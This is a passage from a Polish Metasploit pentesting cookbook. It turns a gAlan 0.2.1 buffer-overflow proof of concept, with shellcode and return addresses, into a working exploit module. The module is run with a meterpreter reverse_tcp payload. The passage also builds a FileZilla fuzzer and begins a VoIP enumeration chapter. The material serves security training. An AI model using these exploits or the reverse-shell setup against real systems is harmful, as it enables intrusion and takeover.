wielowątkowości oraz ilości dostępnej pamięci. Kiedy program próbuje użyć większego obszaru pamięci niż ten, który jest dostępny w stosie wywołań, mówimy o przepełnieniu stosu, co zazwyczaj skutkuje awarią programu. Najczęściej atakowane za pomocą exploitów są zasadniczo rejestry ESP, EIP oraz EAX. 1. Rejestr ESP wskazuje adres wierzchołka stosu. 2. Rejestr EIP wskazuje lokalizację kolejnej instrukcji. 3. Rejestr EAX zawiera instrukcję, która ma być wykonana. Zanim przejdziemy do konwertowania exploita, powinniśmy dowiedzieć się nieco o atakach przepełnienia stosu. Ponieważ w stosie wszystkie rejestry są przechowywane liniowo, musisz znać dokładny rozmiar bufora rejestru EIP, aby doprowadzić do przepełnienia go i nadpisania rejestru EAX oraz w konsekwencji wykonania ładunku.
148
Rozdział 6. • Exploity
Jak to wykonać Przekształcanie exploita w moduł frameworku Metasploit odbywa się w następujący sposób: 1. Kiedy masz już dowód koncepcji exploita, kolejnym krokiem jest zebranie możliwie jak największej ilości informacji o tym exploicie. Przyjrzyjmy się dokładniej dowodowi koncepcji. Pierwszych kilkadziesiąt wierszy to kod powłoki zapisany w zmiennej $shellcode. Można to wygenerować na podstawie dowolnego ładunku dostępnego we frameworku, wykorzystując narzędzie msfpayload lub msfvenom: $shellcode = "\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" "\x42\x75\x4a\x49\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4b\x58" "\x4a\x59\x4b\x4f\x4b\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c" "\x47\x54\x47\x54\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c" "\x44\x45\x43\x48\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48" "\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\x4b\x51\x59\x4c\x4b" "\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4d\x49" ...fragment usunięty... "\x44\x45\x48\x4e\x51\x43\x4b\x4f\x48\x56\x42\x4a\x4b\x4f" "\x4b\x4f\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x50\x57\x4b\x4c" "\x4c\x43\x49\x54\x45\x34\x4b\x4f\x48\x56\x46\x32\x4b\x4f" "\x48\x50\x45\x38\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x51\x43" "\x4b\x4f\x49\x46\x4b\x4f\x48\x50\x41\x41";
. . . . . . . . . . . . . .
2. Główna część kodu exploita rozpoczyna się od zmiennej $magic, która składa się z 4-bajtowego ciągu znaków. Następnie mamy zmienną $addr, która zawiera lokalizację wskaźnika stosu ESP. Kolejna zmienna $filename zawiera nazwę pliku, który ma być utworzony dla fazy poeksploatacyjnej. Zmienna $retaddr zawiera lokalizację adresu zwrotnego, na którą będzie wskazywał wskaźnik stosu, co doprowadzi do wykonania kodu exploita po wywołaniu przepełnienia stosu. Na koniec dochodzi do wykonania ładunku, który jest odpowiedzialny za eksploatację i wykonanie kodu powłoki. $magic $addr $filename $retaddr = $payload =
= "Mjik"; = 0x7E429353; # JMP ESP @ user32,dll = "bof.galan"; pack('l', $addr); $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;
3. Wiemy na podstawie informacji o exploicie, że nasz kod powłoki może osiągnąć maksymalnie rozmiar 700 bajtów. Ponadto całkowity rozmiar ładunku to 1214 bajtów. Te informacje będą pomocne podczas budowania modułu. Możemy użyć powtórzonego adresu zwrotnego lub znaleźć rozmiar bufora, przy którym rejestr EIP zostaje nadpisany. Metasploit oferuje doskonałe narzędzie o nazwie pattern_create.rb, które może być pomocne w znalezieniu dokładnej
149
Metasploit. Receptury pentestera
lokalizacji nadpisania rejestru EIP. Narzędzie generuje ciąg wzorców, który może być przekazany do kodu exploita. Następnie za pomocą debugera możemy sprawdzić, który wzorzec ciągu jest zapisany w rejestrze EIP. Utwórzmy ciąg składający się z 5000 znaków: root@bt:/opt/metasploit/msf3/tools# ./pattern_create.rb Usage: pattern_create.rb length [set a] [set b] [set c] root@bt:/opt/metasploit/msf/tools# ./pattern_create.rb 5000
4. Teraz wyedytujemy skrypt exploita w celu zastąpienia zmiennej $payload inną zmienną testową $junk, a następnie skopiujemy do tej zmiennej nasz ciąg 5000 znaków. Przetestujemy aplikację za pomocą tego skryptu i sprawdzimy, który wzorzec jest zapisany w rejestrze EIP. Przyjmijmy, że znasz podstawy programowania zwrotnego i debugowania aplikacji. Załóżmy, że wzorzec ciągu zapisany w rejestrze EIP to 234abc. Możemy użyć kolejnego narzędzia frameworku Metasploit o nazwie pattern_offset.rb, aby wyznaczyć pozycję tego wzorca w przekazanym przez nas ciągu: root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 0x234abc 5000 1032
Jak widać, całkowita liczba bajtów, które mają być wysłane w celu uzyskania dokładnej lokalizacji rejestru EIP, wynosi 1032. 5. Zebraliśmy już wystarczającą ilość informacji na temat danego exploita i jesteśmy gotowi, aby przekształcić go w moduł Metasploit.
Jak to działa Zacznijmy budować nasz moduł. Pierwszy i najważniejszy wiersz skryptu to zaimportowanie bibliotek i utworzenie klasy nadrzędnej. Następnie zdefiniujemy funkcję initialize() zawierającą informacje o exploicie i zarejestrujemy opcje: require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit', 'Description' => %q { This module exploits a stack overflow in gAlan 0.2.1 by creating a specially crafted galan file, an attacker may be ableto execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'original by Jeremy Brown' ],
150
Rozdział 6. • Exploity
'Version' 'References' [
=> '$Revision: 7724 $', => [ 'URL', 'http://www.exploit-db.com/ exploits/10339' ],
], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\ x20\x0c\x0b\x09", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3 ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']), ], self.class) end
Jak dotąd cały proces był prosty i jasny. Trudności zaczynają się przy definiowaniu funkcji exploit(). Zobaczmy, jak to zrobić. 1. Zaczniemy od pierwszych 4 bajtów oryginalnego skryptu exploita, czyli wiersza: $magic = "Mjik
W naszym module zastąpimy go wierszem: sploit = "Mjik
2. Teraz przejdziemy dalej i zbudujemy bufor. Ponieważ znaleźliśmy pozycję nadpisania rejestru EIP, możemy zastąpić powtórzony adres zwrotny wartością, wpisując następujący fragment: sploit << rand_text_alpha_upper(1028); sploit << [target.ret].pack('V');
151
Metasploit. Receptury pentestera
3. Następnie musimy dodać nasz NOP slide. Ten fragment skryptu exploita przyjmuje w module poniższą postać: sploit <<"\x90" * 45
4. Na koniec budujemy kompletny kod powłoki: sploit << payload.encoded
Teraz możemy zebrać te wiersze skryptu w funkcji exploit(): def exploit sploit = "Mjik" sploit << rand_text_alpha_upper(1028) sploit << [target.ret].pack('V') sploit << "\x90" * 45 sploit << payload.encoded galan = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(galan) end
To była krótka i prosta demonstracja, w jaki sposób można przekonwertować istniejący exploit na moduł frameworku Metasploit. Poziom trudności tego procesu będzie zależał od konkretnego exploita. Najlepszym sposobem poszerzenia wiedzy na ten temat jest analizowanie modułów exploitów dostępnych w bibliotece Metasploit. W kolejnej recepturze dowiesz się, jak zaimportować ten moduł exploita do frameworku, aby można było wykorzystywać go w testach penetracyjnych.
Importowanie i testowanie nowego modułu exploita W poprzedniej recepturze nauczyłeś się budować kompletny moduł exploita dla frameworku Metasploit, wykorzystując dostępny dowód koncepcji. W tej recepturze zapiszemy moduł w odpowiedniej lokalizacji, a następnie przetestujemy go, aby sprawdzić, czy wszystko działa poprawnie.
Przygotuj się Bardzo ważne jest, aby wybrać odpowiedni folder, w którym zapisany zostanie moduł exploita. Może to pomóc Ci w odnajdowaniu różnych modułów, a także ułatwić frameworkowi zrozumienie podstawowego zastosowania modułu. Mamy już kompletny skrypt modułu, więc poszukajmy dla niego odpowiedniej lokalizacji.
152
Rozdział 6. • Exploity
Jak to wykonać Ponieważ ten moduł exploita jest przeznaczony dla systemu operacyjnego Windows i konkretnego formatu plików, musimy na tej podstawie określić jego lokalizację. W katalogu modules/exploits/windows znajdziesz konkretny folder fileformat przeznaczony do przechowywania modułów exploitów dla formatów plików. Tu możemy zapisać nasz moduł, nadając mu nazwę galan_fileformat_bof.rb. Następnym i ostatnim zadaniem jest sprawdzenie, czy nasz moduł działa właściwie. Korzystaliśmy już z wielu modułów, więc ten etap powinien być stosunkowo prosty. Zastosujemy tę samą procedurę, którą stosowaliśmy dotychczas: msf msf msf msf
> use exploit/windows/fileformat/galan_fileformat_bof exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/reverse_tcp exploit(galan_fileformat_bof) > set LHOST 192.168.56.101 exploit(galan_fileformat_bof) > exploit
Po wpisaniu komendy exploit moduł zostanie wykonany i utworzy plik, który może być wykorzystany do wywołania przepełnienia stosu na maszynie docelowej. Ten etap kończy proces tworzenia i wykonania modułu. Jak mogłeś zauważyć, ten proces jest całkiem prosty. Główny wysiłek koncentruje się na konwersji skryptu exploita na moduł frameworku Metasploit. Możesz debugować i modyfikować istniejący moduł w zależności od własnych potrzeb. Możesz również udostępnić każdy nowo utworzony moduł społeczności Metasploit, aby każdy mógł z niego skorzystać.
Fuzzowanie aplikacji za pomocą Metasploit Fuzzowanie (ang. fuzzing), inaczej fuzz testing, jest techniką testowania oprogramowania, która polega na wykrywaniu błędów w implementacji za pomocą losowego wstrzykiwania danych. Skrypty fuzzerów generują zniekształcone dane i przekazują je do konkretnej encji celu, aby zweryfikować możliwość wystąpienia przepełnienia. Metasploit oferuje kilka modułów fuzzerów, które mogą być pomocne przy tworzeniu exploitów. Zapoznajmy się z podstawami fuzzowania i sprawdźmy, w jaki sposób moduły frameworku Metasploit mogą być wykorzystane jako potencjalne fuzzery.
Przygotuj się Zanim przejdziemy do modułów fuzzerów Metasploit, omówmy pokrótce technikę fuzzowania i jej rodzaje.
153
Metasploit. Receptury pentestera
Fuzzowanie jest traktowane jako technika testowania z minimalną wiedzą (ang. black-box testing), w której testuje się maksymalne możliwości przepełnienia danego oprogramowania. Fuzzowanie jest aktywnie wykorzystywane do znajdowania błędów w aplikacjach. Fuzzery mogą być stosowane do testowania oprogramowania, protokołów. Automatyzują proces generowania i wstrzykiwania danych. Rozmiar danych lub pakietów przeznaczonych do wstrzyknięcia można kontrolować. Fuzzery mogą wypróbowywać kombinacje ataków na następujące elementy: 1. liczby (np. wartości całkowite ze znakiem lub bez znaku, wartości zmiennoprzecinkowe itd.), 2. znaki (adresy URL i dane wprowadzane w wierszu poleceń), 3. metadane, takie jak teksty wprowadzane przez użytkownika (znacznik id3), 4. sekwencje czysto binarne. W zależności od docelowych aplikacji lub protokołu, możemy skonfigurować fuzzer do generowania danych lub pakietów testujących możliwości wystąpienia przepełnienia. Metasploit posiada kilka modułów fuzzerów, które można wykorzystać do przeprowadzania testów z minimalną wiedzą na aplikacjach i protokołach. Moduły te znajdują się w katalogu modules/auxiliary/fuzzers. Przeanalizujmy implementacje tych modułów.
Jak to wykonać Poeksperymentujmy z fuzzerem protokołowym. Metasploit zawiera moduł o nazwie client_ftp.rb, który działa jak serwer FTP i wysyła odpowiedzi do klienta FTP: msf > use auxiliary/fuzzers/ftp/client_ftp msf auxiliary(client_ftp) > show options Module options: Name ---CYCLIC ENDSIZE ERROR EXTRALINE FUZZCMDS RESET SRVHOST SRVPORT SSL SSLVersion STARTSIZE STEPSIZE
154
Current Setting --------------true 200000 false true LIST,NSLT... true 0.0.0.0 21 false SSL3 1000 1000
Required -------yes yes yes yes yes yes yes yes no no yes yes
Description ----------Use Cyclic pattern instead... Max Fuzzing string size. Reply with error codes only Add extra CRLF's in... Comma separated list... Reset fuzzing values after... The local host to listen on. The local port to listen on. Negotiate SSL for incoming... Specify the version of SSL... Fuzzing string startsize. Increment fuzzing string...
Rozdział 6. • Exploity
Jak to działa Fuzzery tworzą różne przypadki testowe, w zależności od aplikacji, która ma być fuzzowana. W naszym przykładzie serwer FTP może być fuzzowany przez wysyłanie losowych pakietów danych i analizowanie odpowiedzi na nie. Pakiety danych mogą poprzez sieć fuzzować następujące atrybuty: Nagłówek pakietu. Fuzzery mogą wstawiać do nagłówka losowe pakiety danych
o dowolnej długości i wartości, a następnie analizować ich odpowiedzi. Suma kontrolna pakietu. Za pomocą fuzzerów można w określonych warunkach
modyfikować wartości sum kontrolnych. Rozmiar pakietu. Pakiety danych o dowolnej długości mogą być wysyłane
do aplikacji sieciowej w celu wywołania awarii. Po wykryciu wystąpienia awarii lub przepełnienia fuzzer może zwrócić swój przypadek testowy, aby zapewnić dane do wywołania przepełnienia. Jak mogłeś zauważyć, dostępnych jest wiele parametrów. Zobaczmy, jaką funkcjonalność ma każdy z nich: Opcja CYCLIC jest wykorzystywana do skonfigurowania cyklicznego wzorca jako danych fuzzowania. Odbywa się to przez określenie offsetów, ponieważ co czwarty bajt ciągu jest unikatowy. Jeśli opcja ma ustawioną wartość false (fałsz), fuzzer wykorzysta jako dane fuzzowania ciąg znaków A. Opcja ENDSIZE definiuje maksymalną długość danych fuzzowania, które mają być odesłane do klienta FTP. Domyślna wartość to 20000 bajtów. Opcja ERROR będzie odpowiadać klientowi FTP za pomocą kodów błędów, jeśli ma ustawioną wartość true (prawda). Opcja EXTRALINE przeprowadza test fuzzowania dla procedury listowania
katalogów. Niektóre klienty FTP mogą ulegać awariom, kiedy otrzymają żądanie bardzo długiej nazwy katalogu. Opcja FUZZCMDS pozwala zdefiniować, które odpowiedzi mają być fuzzowane. Dostępne żądania to LIST, NLST, LS oraz RETR. Można również ustawić znak wieloznaczności (*), aby fuzzować wszystkie polecenia. Opcja SRVHOST to adres IP, z którym fuzzer powiąże serwer FTP. Dla maszyny lokalnej można użyć adresu 0.0.0.0. Opcja SRVPORT to port serwera FTP. Domyślnie jest to port 21. Opcja STARTSIZE jest używana do zdefiniowania początkowej długości danych
fuzzowania. Opcja STEPSIZE jest używana do zdefiniowania wielkości przyrostu po każdej nieudanej próbie przepełnienia.
155
Metasploit. Receptury pentestera
Podczas pracy z fuzzerami należy być ostrożnym. Jeśli nie zostaną zdefiniowane odpowiednie wartości parametrów, fuzz testing może się nie powieść. Zawsze możesz przeanalizować kod źródłowy modułu, aby lepiej zrozumieć dany fuzzer. Uruchommy fuzzer klienta FTP i zobaczmy, jaki otrzymamy wynik: msf auxiliary(client_ftp) > run [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*]
Server started. Client connected : 192.168.56.102 - Set up active data port 20 Sending response for 'WELCOME' command, arg Sending response for 'USER' command, arg test Sending response for 'PASS' command, arg test - Set up active data port 16011 Sending response for 'PORT' command, arg 192,168,0,188,62,139 Handling NLST command - Establishing active data connection - Data connection set up * Fuzzing response for LIST, payload length 1000 (i) Setting next payload size to 2000 - Sending directory list via data connection
Analizując dane wynikowe, należy zwrócić uwagę na kilka elementów. Przede wszystkim na maszynie atakującej został uruchomiony serwer FTP. Następnie serwer łączy się z klientem FTP i rozpoczyna wysyłanie do maszyny klienckiej różnych poleceń odpowiedzi. Proces fuzzowania rozpoczyna się od polecenia NLST. Kolejne jest polecenie LIST itd. To była niewielka demonstracja sposobu działania modułu fuzzera. W kolejnej recepturze przyjrzymy się dokładniej fuzzowaniu protokołów, budując własny moduł fuzzera.
Budowanie prostego fuzzera serwera FTP FileZilla W poprzedniej recepturze przeanalizowaliśmy działanie modułu fuzzera. Pójdźmy krok dalej i zbudujmy nasz własny niewielki fuzzer FTP, który będzie można wykorzystać przeciwko serwerowi FTP FileZilla.
Jak to wykonać Podstawowy szablon do budowy fuzzera jest podobny do szablonu omawianego przy projektowaniu modułu pomocniczego:
156
Rozdział 6. • Exploity
1. Nasz podstawowy szablon wygląda w sposób następujący: require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'FileZilla Fuzzer', 'Version' => '$Revision: 1 $', 'Description' => 'Filezilla FTP fuzzer', 'Author' => 'Abhinav_singh', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(14147), OptInt.new('STEPSIZE', [ false, "Increase string size each iteration with this number of chars",10]), OptInt.new('DELAY', [ false, "Delay between connections",0.5]), OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]), OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000]) ], self.class) end
2. Zaimportowaliśmy już biblioteki MSF, utworzyliśmy klasę i zdefiniowaliśmy opcje. Kolejnym krokiem jest zdefiniowanie głównej zawartości fuzzera: def run_host(ip) udp_sock = Rex::Socket::Udp.create( 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) startsize = datastore['STARTSIZE'] # Początkowy rozmiar danych fuzzowania count = datastore['STEPSIZE'] # Ustawienie przyrostu rozmiaru while count < 10000 # Wykonaj, gdy wartość count wynosi # mniej niż 10000. evil = "A" * count # Ustal liczbę znaków "A" równą # wartości count. pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Zdefiniuj # ładunek.
157
Metasploit. Receptury pentestera
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Wyślij pakiet print_status("Sending: #{evil}") resp = udp_sock.get(1) # Przechwyć odpowiedź. count += 100 # Zwiększ wartość count o 10 i zapętl. end end end
3. Przeanalizujmy ten skrypt. Rozpoczyna się on od utworzenia gniazda UDP, które będzie wymagane do ustanowienia połączenia z serwerem FileZilla. Następnie deklarowane są zmienne startsize i count, które odpowiednio przechowują wartości rozmiaru początkowego danych fuzzera oraz przyrostu ich rozmiaru. Dalej definiowana jest pętla, w której deklarowany jest złośliwy ciąg (evil) i format ładunku, które będą wysłane jako pakiet (pkt). 4. Następnie skrypt próbuje wysłać do serwera pakiet danych za pomocą funkcji udp_sock_sendto, a do przechwycenia odpowiedzi wykorzystywana jest funkcja resp=udp_sock.get(). Ponadto wartość zmiennej count pakietu jest zwiększana o 100 po każdej otrzymanej odpowiedzi.
Jak to działa Aby rozpocząć pracę z modułem, zapiszemy go w katalogu modules/auxiliary/fuzzers/ftp pod nazwą filezilla_fuzzer.rb. Teraz możemy go uruchomić: msf > use auxiliary/fuzzers/ftp/filezilla_fuzzer msf auxiliary(filezilla_fuzzer) > show options Module options (auxiliary/fuzzers/ftp/filezilla_fuzzer): Name Current Setting Required Description ------------------ -------- ----------DELAY 0.5 no Delay between... ENDSIZE 20000 no Fuzzing string endsize RHOSTS yes The target address RPORT 14147 yes The target port STARTSIZE 10 no Fuzzing string startsize STEPSIZE 10 no Increase string size...
Nasz moduł działa poprawnie i wyświetla wszystkie dostępne opcje. Zdefiniujmy odpowiednie wartości i zobaczmy, co się stanie po zastosowaniu polecenia run: msf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1 RHOSTS => 192.168.56.1 msf auxiliary(filezilla_fuzzer) > run [*] Sending: AAAAAAAAAA [*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
158
Rozdział 6. • Exploity
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA
Bingo! Fuzzer rozpoczyna wysyłanie ciągów znaków do serwera, a cały proces jest kontynuowany, dopóki serwer nie ulegnie awarii albo nie zakończy się wykonywanie pętli. Jeśli pętla zakończy się przed awarią, możesz zmodyfikować skrypt, aby wysyłał dłuższe ciągi znaków. Jest to prosty przykład fuzzowania aplikacji za pomocą frameworku Metasploit. Zasadniczo nie zaleca się wykorzystywania Metasploit jako platformy do fuzzowania rozbudowanego oprogramowania. Istnieje kilka dedykowanych frameworków stworzonych specjalnie do fuzzowania oprogramowania i aplikacji.
Zobacz również Rzućmy okiem na przeznaczony do fuzzowania framework, który możesz wykorzystać, aby poszerzyć swoją wiedzę na temat fuzzowania oraz budowania exploitów.
Framework Antiparser Antiparser jest przeznaczonym do fuzzowania frameworkiem napisanym w języku Python. Pomaga tworzyć losowe dane przeznaczone specjalnie do konstruowania fuzzerów. Framework ten może być wykorzystany do przygotowywania fuzzerów, które mogą być uruchamiane na różnych platformach, ponieważ działanie frameworku zależy jedynie od dostępności interpretera języka Python. Framework Antiparser można pobrać ze strony http://sourceforge.net/projects/antiparser/.
159
Metasploit. Receptury pentestera
160
7 Testy penetracyjne w sieci VoIP W tym rozdziale: Faza skanowania i enumeracji Pozyskiwanie haseł Przeskakiwanie VLAN-ów Podszywanie się pod adresy MAC w sieci VoIP Atak wykorzystujący podszywanie się pod inną osobę Atak DoS
Wprowadzenie VoIP jest technologią zapewniającą wiele korzyści i metod optymalizacji kosztów w celu umożliwienia lepszej komunikacji. Obecnie coraz więcej małych firm i przedsiębiorstw zastępuje stare tradycyjne sieci telefoniczne typu PSTN sieciami opartymi na protokole IP. Oparta na technologii VoIP centrala PBX może dostarczyć nam wiele funkcji, takich jak liczne numery wewnętrzne, identyfikacja dzwoniącego, poczta głosowa, system IVR, nagrywanie, prowadzenie dziennika zdarzeń oraz możliwość wykorzystania telefonów sprzętowych lub programowych. Na rynku istnieje wielu producentów i dostawców central PBX, telefonów IP oraz usług i urządzeń VoIP. Należą do nich takie firmy, jak Cisco, Avaya i Asterisk, SNOM, Thomson itd. Wraz z rozwojem technologii pojawiło się nowe wyzwanie w postaci zarówno defensywnego, jak i ofensywnego aspektu bezpieczeństwa. Jedną z istotnych wad tradycyjnej komunikacji telefonicznej była podatność na podsłuchiwanie. Mogło to być zrealizowane za pomocą fizycznego podłączenia małego nadajnika, który był instalowany gdzieś wzdłuż przewodu telefonicznego podsłuchiwanej osoby.
Metasploit. Receptury pentestera
Prosty system VoIP funkcjonuje w sposób przedstawiony na poniższym rysunku:
W systemie VoIP sygnały analogowe przenoszące głos są konwertowane na sygnały cyfrowe (w postaci bitów), a następnie są próbkowane i przesyłane w postaci pakietów. Aby lepiej zobrazować różnicę między zwykłym telefonem a telefonem VoIP, przeanalizuj poniższy schemat: Zwykły telefon adapter ATA Ethernet router internet Telefon VoIP Ethernet centrala IP-PBX router internet Niestety, systemy telefonii IP są również podatne na podsłuch, ale przeprowadzenie tego w środowisku IP jest trochę bardziej uciążliwe, trudne do wykrycia oraz wymaga większej wiedzy i szerszego zakresu narzędzi. Głównym celem tego rozdziału jest opisanie odpowiednich narzędzi oraz ich przeznaczenia, abyś mógł wybrać to właściwe dla określonego zadania. Zbadamy niektóre rzeczywiste wektory ataku i dowiemy się, jak system BackTrack może pomóc w przeprowadzaniu testów penetracyjnych sieci VoIP.
Topologie VoIP Istnieje kilka sposobów wdrożenia telefonii IP. Poniżej wymieniono najpopularniejsze topologie: 1. Hostowanie samodzielne. W tej topologii centrala IP-PBX (Asterisk) jest instalowana po stronie klienta i połączona z dostawcą usług internetowych (ISP) lub z dostawcą usług telefonii tradycyjnej PSTN za pośrednictwem usługi SIP Trunk lub PRI. Ruch sieciowy VoIP jest realizowany za pomocą dedykowanej sieci VLAN. 2. Usługi hostowane. Ta topologia wykorzystuje switch, router oraz telefony IP, a połączenie z usługodawcą centrali PBX jest realizowane za pośrednictwem internetu lub połączenia IP/VPN. Każdy telefon jest konfigurowany z informacją o koncie SIP.
162
Rozdział 7. • Testy penetracyjne w sieci VoIP
3. Usługa online SIP. Usługi takie jak sipme.me dostarczają oprogramowanie dla komputerów PC lub smartfonów z bezpłatnym kontem typu SIP. Oferują niskie ceny połączeń międzynarodowych, a także darmowe połączenia między użytkownikami usługi, przydzielając numery telefonu poszczególnym abonentom.
Podstawy protokołu SIP Protokół SIP (ang. Session Initiation Protocol) ustanawia, kończy lub modyfikuje połączenia głosowe i wideo, realizowane przez protokół RTP (ang. Real time Transport Protocol). Jest to protokół warstwy aplikacji, wykorzystujący UDP do przesyłu danych (zastosować można również protokół TCP). Domyślnie protokół ten wykorzystuje port 5060 TCP lub UDP dla sygnalizacji nieszyfrowanej albo port 5061 dla szyfrowanego transportu pakietów za pomocą protokołu TLS (ang. Transport Layer Security). Protokół SIP jest oparty na kodzie ASCII i zawiera podobne elementy co protokół HTTP. Ponadto, podobnie jak HTTP, wykorzystuje również model żądanie/odpowiedź. Żądanie klienta SIP jest przeprowadzane w przeglądarce WWW za pomocą adresu SIP URI, klienta użytkownika oraz metody (żądania). Składnia adresu SIP jest podobna do adresu poczty e-mail, czyli nazwa_użytkownika/numer_telefonu@domena/adres_IP. Zapoznajmy się z różnymi żądaniami i odpowiedziami SIP.
Żądania i metody SIP: Istnieją określone żądania (metody) SIP, takie jak INVITE (zaproś), ACK (potwierdź), CANCEL (anuluj), REGISTER (rejestruj), OPTIONS (opcje), BYE (żegnaj), REFER (referuj) itd.
Odpowiedzi SIP: Istnieją różne odpowiedzi SIP, takie jak 1xx, 2xx, 3xx, 4xx, 5xx, 6xx itd. Jeśli chcesz uzyskać więcej informacji na temat żądań i odpowiedzi SIP, odwiedź stronę internetową: http://www.backtrack-linux.org/wiki/index.php/Pentesting_VOIP. Prześledźmy, w jaki sposób przeprowadzana jest komunikacja pomiędzy dwoma telefonami VoIP: Dzwoniący wysyła zaproszenie. Wywoływany telefon przesyła odpowiedź 100 (próba). Wywoływany telefon zaczyna dzwonić i wysyła odpowiedź 180 (dzwonienie). Rozmówca odbiera telefon. Wywoływany telefon wysyła odpowiedź 200 (OK). Rozmówca wysyła odpowiedź ACK (potwierdzenie). Zaczyna się rozmowa (poprzez protokół czasu rzeczywistego). Gdy rozmówca odkłada słuchawkę, wysłane zostaje żądanie BYE. Znów dzwoniący odpowiada 200 (OK). 163
Metasploit. Receptury pentestera
Instalacja laboratorium Użyjemy następującego schematu laboratorium, aby zająć się zagadnieniami związanymi z testami penetracyjnymi przeprowadzanymi w sieci VoIP. Zostało to przedstawione na poniższym rysunku:
Komponenty konfiguracji laboratorium są następujące: Serwer IP-PBX: Trixbox (192.168.1.130) Atakujący: system BackTrack 4 R2 (192.168.1.131) Windows Softphone (Użytkownik A — Ofiara): Zoiper (192.168.1.132) Windows Softphone (Użytkownik B — Ofiara): Linphone (192.168.1.133)
Faza skanowania i enumeracji Jest to faza, w której zbieramy informacje o topologii VoIP, serwerach oraz klientach w celu przeprowadzenia udanego ataku. W zasadzie szukamy takich informacji, jak aktywne hosty, rodzaje wersji central PBX, serwery oraz bramki VoIP, rodzaje wersji klientów (sprzętowych i programowych) itd. Przeprowadzimy enumerację numerów wewnętrznych SIP zamiast enumeracji nazw użytkowników. Enumeracja jest kluczem do każdego udanego ataku, penetracji czy testu, ponieważ zapewnia bardzo istotne dane i przegląd ustawień. W technologii VoIP nie jest inaczej. W sieci VoIP informacje przydatne dla atakującego to informacje dotyczące bramki czy serwera VoIP, systemów IP-PBX, oprogramowania klienta (programu typu softphone) czy telefonów VoIP oraz numerów wewnętrznych użytkowników. Na potrzeby przykładu załóżmy, że znamy już adresy IP urządzeń. Zobaczmy, w jaki sposób system BackTrack rzeczywiście pomoże nam znaleźć, określić i przeprowadzić enumerację urządzeń z obsługą VoIP. Przedstawiono to na poniższym zrzucie ekranu:
164
Rozdział 7. • Testy penetracyjne w sieci VoIP
W tym podrozdziale omówimy dwa ważne narzędzia: smap oraz svwarin. Przejdźmy do receptury.
Przygotuj się Aby skorzystać z narzędzia smap, użyj ścieżki dostępu root@bt:/pentest/voip/smap#, natomiast aby użyć narzędzia svwar, skorzystaj ze ścieżki root@bt:/pentest/voip/sipviscious#.
Jak to wykonać Użyjemy narzędzi smap oraz svwar, tak jak zostało to wyjaśnione w poniższych sekcjach.
SMAP Użyjmy narzędzia smap do przeskanowania serwera PBX. Narzędzie smap może skanować pojedynczy adres IP lub podsieć adresów IP w poszukiwaniu urządzeń z włączoną obsługą protokołu SIP: root@bt:/pentest/voip/smap# ./smap -O 192.168.1.130 smap 0.6.0 [email protected] http:/www.sitename.com 192.168.1.130 : ICMP reachable, SIP enabled Best guess (55% sure) fingerprint: Asterisk PBX (unknown version) User Agent Asterisk PBX 1.6.0.15-FONCORE-r78 1 host scanned, 1 ICMP reachable, 1 SIP enabled (100.0%)
Udało się przeprowadzić enumerację serwera i poznaliśmy szczegółowe dane klienta użytkownika. 165
Metasploit. Receptury pentestera
SVWAR Narzędzie svwar umożliwia skanowanie pełnego zakresu adresów IP. Jest to wszechstronny skaner pochodzący z zestawu narzędzi SIPVISCIOUS. Aby dokonać identyfikacji aktywnych numerów wewnętrznych SIP w celu zebrania większej ilości informacji w tej fazie, możemy skorzystać z tego narzędzia. Zobaczmy, jak ono działa. Będziemy skanować numery wewnętrzne od 100 do 200: root@bt: /pentest/voip/sipvicious#./svwar.py –e100-200 192.168.1.130 rm INVITE | Extension | Authentication | | 100 reqauth | | 102 reqauth | | 104 reqauth |
